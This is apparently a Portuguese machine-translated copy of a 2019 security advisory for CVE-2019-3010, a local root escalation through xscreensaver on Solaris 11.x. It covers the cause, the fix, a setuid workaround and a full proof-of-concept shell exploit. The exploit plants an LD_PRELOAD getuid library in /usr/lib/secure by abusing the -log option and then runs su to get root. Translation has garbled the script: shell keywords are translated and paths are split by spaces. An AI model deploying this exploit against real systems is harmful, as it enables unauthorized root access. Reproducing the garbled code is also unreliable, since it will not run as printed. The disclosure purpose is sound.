fbpx

Solaris 11.4 – xscreensaver Privilege Escalation

Solaris 11.4 – xscreensaver Privilege Escalation

 

@ Mediaservice.net Security Advisory # 2019-02 (última atualização em 2019-10-16)

Título: Escalonamento de privilégios locais no Solaris 11.x via xscreensaver
Aplicativo: xscreensaver 5.39 de Jamie Zawinski distribuído com Solaris 11.4
O xscreensaver 5.15 de Jamie Zawinski distribuído com o Solaris 11.3
Outras versões a partir do 5.06 são potencialmente afetadas
Plataformas: Oracle Solaris 11.x (testado em 11.4 e 11.3)
Outras plataformas são potencialmente afetadas (veja abaixo)
Descrição: um invasor local pode obter privilégios de root explorando um
vulnerabilidade de erro de design no xscreensaver distribuído com
Solaris
Autor: Marco Ivaldi <[email protected]>
Status do fornecedor: <[email protected]> notificado em 2019-07-09
Nome do CVE: CVE-2019-3010
Vetor CVSS: CVSS: 3.0 / AV: L / AC: L / PR: L / UI: N / S: C / C: H / I: H / A: H (Pontuação Base: 8.8)
Referências: https://lab.mediaservice.net/advisory/2019-02-solaris-xscreensaver.txt
https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html
https://www.jwz.org/xscreensaver/
https://www.oracle.com/technetwork/server-storage/solaris11/
https://www.mediaservice.net/
https://0xdeadbeef.info/

1. Resumo

Exploração de uma vulnerabilidade de erro de design no xscreensaver, conforme distribuído
com Solaris 11.x, permite que atacantes locais criem (ou anexem a) arbitrariamente
arquivos no sistema, abusando da opção de linha de comando -log introduzida no
versão 5.06. Essa falha pode ser aproveitada para causar uma condição de negação de serviço
ou para escalar privilégios para root.

2. Exemplo de sessão de ataque.

raptor @ stalker: ~ $ cat / etc / release
Oracle Solaris 11.4 X86
Copyright (c) 1983, 2018, Oracle e / ou suas afiliadas. Todos os direitos reservados.
Montado em 16 de agosto de 2018
raptor @ stalker: ~ $ uname -a
SunOS stalker 5.11 11.4.0.15.0 i86pc i386 i86pc
raptor @ stalker: ~ $ id
uid = 100 (raptor) gid = 10 (equipe)
raptor @ stalker: ~ $ chmod + x raptor_xscreensaver
raptor @ stalker: ~ $ ./raptor_xscreensaver
raptor_xscreensaver – LPE do Solaris 11.x via xscreensaver
Copyright (c) 2019 Marco Ivaldi <[email protected]>
[…]
Oracle Corporation SunOS 5.11 11.4 Ago 2018
root @ stalker: ~ # id
uid = 0 (raiz) gid = 0 (raiz)

3. Plataformas Afetadas.

Esta vulnerabilidade foi confirmada nas seguintes plataformas:

* Oracle Solaris 11.x X86 [testado em 11.4 e 11.3, instalação padrão]
* Oracle Solaris 11.x SPARC [não testado]

As versões anteriores do Oracle Solaris 11 também podem estar vulneráveis.

Com base em nossa análise e no feedback gentilmente fornecido por Alan Coopersmith de
Oracle, concluímos que esta é uma vulnerabilidade específica ao Solaris, causada por
o fato de a Oracle manter uma base de código ligeiramente diferente do upstream
1. Alan explicou o seguinte:

“O problema em questão aqui parece ser herdado do fork há muito tempo
[originalmente baseado no xscreensaver 4.05] A Sun & Ximian fez para adicionar um arquivo baseado em gtk
desbloqueie a caixa de diálogo com suporte à acessibilidade para substituir o Xlib não acessível
caixa de diálogo de desbloqueio fornecida pelo upstream, que move a redefinição do uid para depois de onde
a abertura do arquivo de log foi adicionada posteriormente “.

Especificamente, o problema surge por causa desse pedaço de patches Solaris:
https://github.com/oracle/solaris-userland/blob/18c7129a50c0d736cbac04dcfbfa1502eab71e33/components/desktop/xscreensaver/patches/0005-gtk-lock.patch#L3749-L3770

Como uma observação interessante, parece que a Red Hat retirou esse código em 2002
com a versão 4.05-5:
https://src.fedoraproject.org/rpms/xscreensaver/blob/9a0bab5a19b03db9671fc5a20714755445f19e21/f/xscreensaver.spec#L2178-2179

4. Fix.

A Oracle atribuiu o rastreamento # S1182608 e lançou uma correção para todos
versões afetadas e suportadas do Solaris em sua CPU (Critical Patch Update)
de outubro de 2019.

Como solução temporária, também é possível remover o bit setuid do
o xscreensaver executável da seguinte maneira (observe que isso pode impedi-lo de
trabalhando corretamente):

bash-3.2 # chmod -s / usr / bin / xscreensaver

5. Prova de conceito.

Uma exploração do Oracle Solaris 11.x foi desenvolvida como uma prova de conceito. isto
pode ser baixado de:

https://github.com/0xdea/exploits/blob/master/solaris/raptor_xscreensaver

#! / bin / sh

#
# raptor_xscreensaver – LPE do Solaris 11.x via xscreensaver
# Copyright (c) 2019 Marco Ivaldi <[email protected]>
#
# Exploração de uma vulnerabilidade de erro de design no xscreensaver, como
# distribuído com o Solaris 11.x, permite que atacantes locais criem
# (ou anexar a) arquivos arbitrários no sistema, abusando do -log
# opção de linha de comando introduzida na versão 5.06. Essa falha pode ser
# alavancado para causar uma condição de negação de serviço ou para aumentar
# privilégios para fazer root. Esta é uma vulnerabilidade específica do Solaris,
# causado pelo fato de o Oracle manter um nível ligeiramente diferente
# codebase a partir do upstream (CVE-2019-3010).
#
# “Prefiro ter sorte do que bom qualquer dia.” J. R. “Bob” Dobbs
# “Bons hackers forçam a sorte.” – ~ A.
#
# Esta exploração visa o diretório / usr / lib / secure / em ordem
# para escalar privilégios com a técnica LD_PRELOAD. o
# implementação de outros vetores de exploração, incluindo aqueles
# que não exigem que o gcc esteja presente no sistema de destino, é
# deixado como um exercício para colegas hackers do UNIX;)
#
# Uso:
# raptor @ stalker: ~ $ chmod + x raptor_xscreensaver
# raptor @ stalker: ~ $ ./raptor_xscreensaver
# […]
# Oracle Corporation SunOS 5.11 11.4 Ago 2018
# root @ stalker: ~ # id
# uid = 0 (raiz) gid = 0 (raiz)
# root @ stalker: ~ # rm /usr/lib/secure/64/getuid.so /tmp/getuid.*
#
# Plataformas vulneráveis:
# Oracle Solaris 11 X86 [testado em 11.4 e 11.3]
# Oracle Solaris 11 SPARC [não testado]
#

eco “raptor_xscreensaver – Solaris 11.x LPE via xscreensaver”
eco “Copyright (c) 2019 Marco Ivaldi <[email protected]>”
eco

# preparar a carga útil
echo “int getuid () {return 0;}”> /tmp/getuid.c
gcc -fPIC -Wall -g -O2 -shared -o /tmp/getuid.so /tmp/getuid.c -lc
se [$? -ne 0]; então
echo “erro: problema ao compilar a biblioteca compartilhada, verifique seu gcc”
saída 1
fi

# verifique a arquitetura
LOG = / usr / lib / secure / getuid.so
arquivo / bin / su | grep de 64 bits> / dev / null 2> & 1
se [$? -eq 0]; então
LOG = / usr / lib / secure / 64 / getuid.so
fi

# inicie nosso próprio xserver
# alternativamente, podemos nos conectar novamente a um xserver válido (por exemplo, xquartz)
/ usr / bin / Xorg: 1 e

# acionar o bug
umask 0
/ usr / bin / xscreensaver -display: 1 -log $ LOG &
dormir 5

# Limpar
pkill -n xscreensaver
pkill -n Xorg

# LD_PRELOAD-fu
cp /tmp/getuid.so $ LOG
LD_PRELOAD = $ LOG su –

11 de novembro de 2019

Sobre nós

A Linux Force Brasil é uma empresa que ama a arte de ensinar. Nossa missão é criar talentos para a área de tecnologia e atender com excelência nossos clientes.

CNPJ: 13.299.207/0001-50
SAC:         0800 721 7901

Comercial  Comercial: (11) 3796-5900

Suporte:    (11) 3796-5900

Copyright © Linux Force Security  - Desde 2011.